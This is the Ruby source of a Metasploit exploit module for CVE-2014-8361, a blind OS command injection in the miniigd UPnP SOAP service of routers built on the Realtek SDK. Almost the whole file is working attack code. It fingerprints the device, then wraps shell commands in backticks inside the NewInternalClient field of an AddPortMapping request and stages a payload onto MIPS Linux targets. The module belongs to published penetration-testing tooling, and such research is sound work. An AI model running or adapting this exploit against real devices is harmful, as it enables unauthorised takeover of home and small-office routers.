Realtek SDK Miniigd UPnP SOAP Command Execution

`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::CmdStager  
include REXML  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Realtek SDK Miniigd UPnP SOAP Command Execution',  
'Description' => %q{  
Different devices using the Realtek SDK with the miniigd daemon are vulnerable to OS command  
injection in the UPnP SOAP interface. Since it is a blind OS command injection vulnerability,  
there is no output for the executed command. This module has been tested successfully on a  
Trendnet TEW-731BR router with emulation.  
},  
'Author' =>  
[  
'Ricky "HeadlessZeke" Lawshae', # Vulnerability discovery  
'Michael Messner <devnull[at]s3cur1ty.de>' # Metasploit module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
['CVE', '2014-8361'],  
['ZDI', '15-155'],  
['URL', 'http://h30499.www3.hp.com/t5/HP-Security-Research-Blog/Software-Development-KITchen-sink/ba-p/6745115#.VWVfsM_tmko'],  
['URL', 'http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10055']  
],  
'DisclosureDate' => 'Apr 24 2015',  
'Privileged' => true,  
'Payload' =>  
{  
'DisableNops' => true  
},  
'Targets' =>  
[  
[ 'MIPS Little Endian',  
{  
'Platform' => 'linux',  
'Arch' => ARCH_MIPSLE  
}  
],  
[ 'MIPS Big Endian',  
{  
'Platform' => 'linux',  
'Arch' => ARCH_MIPSBE  
}  
]  
],  
'DefaultTarget' => 0  
))  
  
deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR')  
  
register_options(  
[  
Opt::RPORT(52869) # port of UPnP SOAP webinterface  
], self.class)  
end  
  
def check  
begin  
res = send_request_cgi({  
'uri' => '/picsdesc.xml'  
})  
if res && [200, 301, 302].include?(res.code) && res.headers['Server'] =~ /miniupnpd\/1.0 UPnP\/1.0/  
return Exploit::CheckCode::Detected  
end  
rescue ::Rex::ConnectionError  
return Exploit::CheckCode::Unknown  
end  
  
Exploit::CheckCode::Unknown  
end  
  
def exploit  
print_status("#{peer} - Trying to access the device ...")  
  
unless check == Exploit::CheckCode::Detected  
fail_with(Failure::Unknown, "#{peer} - Failed to access the vulnerable device")  
end  
  
print_status("#{peer} - Exploiting...")  
  
execute_cmdstager(  
:flavor => :echo,  
:linemax => 50,  
:nodelete => true  
)  
end  
  
def execute_command(cmd, opts)  
uri = '/wanipcn.xml'  
soap_action = 'urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping'  
data_cmd = '<?xml version="1.0"?>' + build_soap_req  
  
begin  
res = send_request_cgi({  
'uri' => uri,  
'vars_get' => {  
'service' => 'WANIPConn1'  
},  
'ctype' => 'text/xml',  
'method' => 'POST',  
'headers' => {  
'SOAPAction' => soap_action  
},  
'data' => data_cmd.gsub(/CMD_HERE/, "`#{cmd.gsub(/\\/, '\\\\\\\\\\')}`")  
})  
return res  
rescue ::Rex::ConnectionError  
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")  
end  
end  
  
def build_soap_req  
new_external_port = rand(32767) + 32768  
new_internal_port = rand(32767) + 32768  
  
xml = Document.new  
  
xml.add_element(  
'SOAP-ENV:Envelope',  
{  
'xmlns:SOAP-ENV' => 'http://schemas.xmlsoap.org/soap/envelope/',  
'SOAP-ENV:encodingStyle' => 'http://schemas.xmlsoap.org/soap/encoding/'  
})  
  
xml.root.add_element('SOAP-ENV:Body')  
  
body = xml.root.elements[1]  
  
body.add_element(  
'm:AddPortMapping',  
{  
'xmlns:m' => 'urn:schemas-upnp-org:service:WANIPConnection:1'  
})  
  
port_mapping = body.elements[1]  
port_mapping.add_element('NewLeaseDuration')  
port_mapping.add_element('NewInternalClient')  
port_mapping.add_element('NewEnabled')  
port_mapping.add_element('NewExternalPort')  
port_mapping.add_element('NewRemoteHost')  
port_mapping.add_element('NewProtocol')  
port_mapping.add_element('NewInternalPort')  
  
port_mapping.elements['NewLeaseDuration'].text = ''  
port_mapping.elements['NewInternalClient'].text = 'CMD_HERE'  
port_mapping.elements['NewEnabled'].text = '1'  
port_mapping.elements['NewExternalPort'].text = "#{new_external_port}"  
port_mapping.elements['NewRemoteHost'].text = ''  
port_mapping.elements['NewProtocol'].text = 'TCP'  
port_mapping.elements['NewInternalPort'].text = "#{new_internal_port}"  
  
xml.to_s  
end  
  
end  
`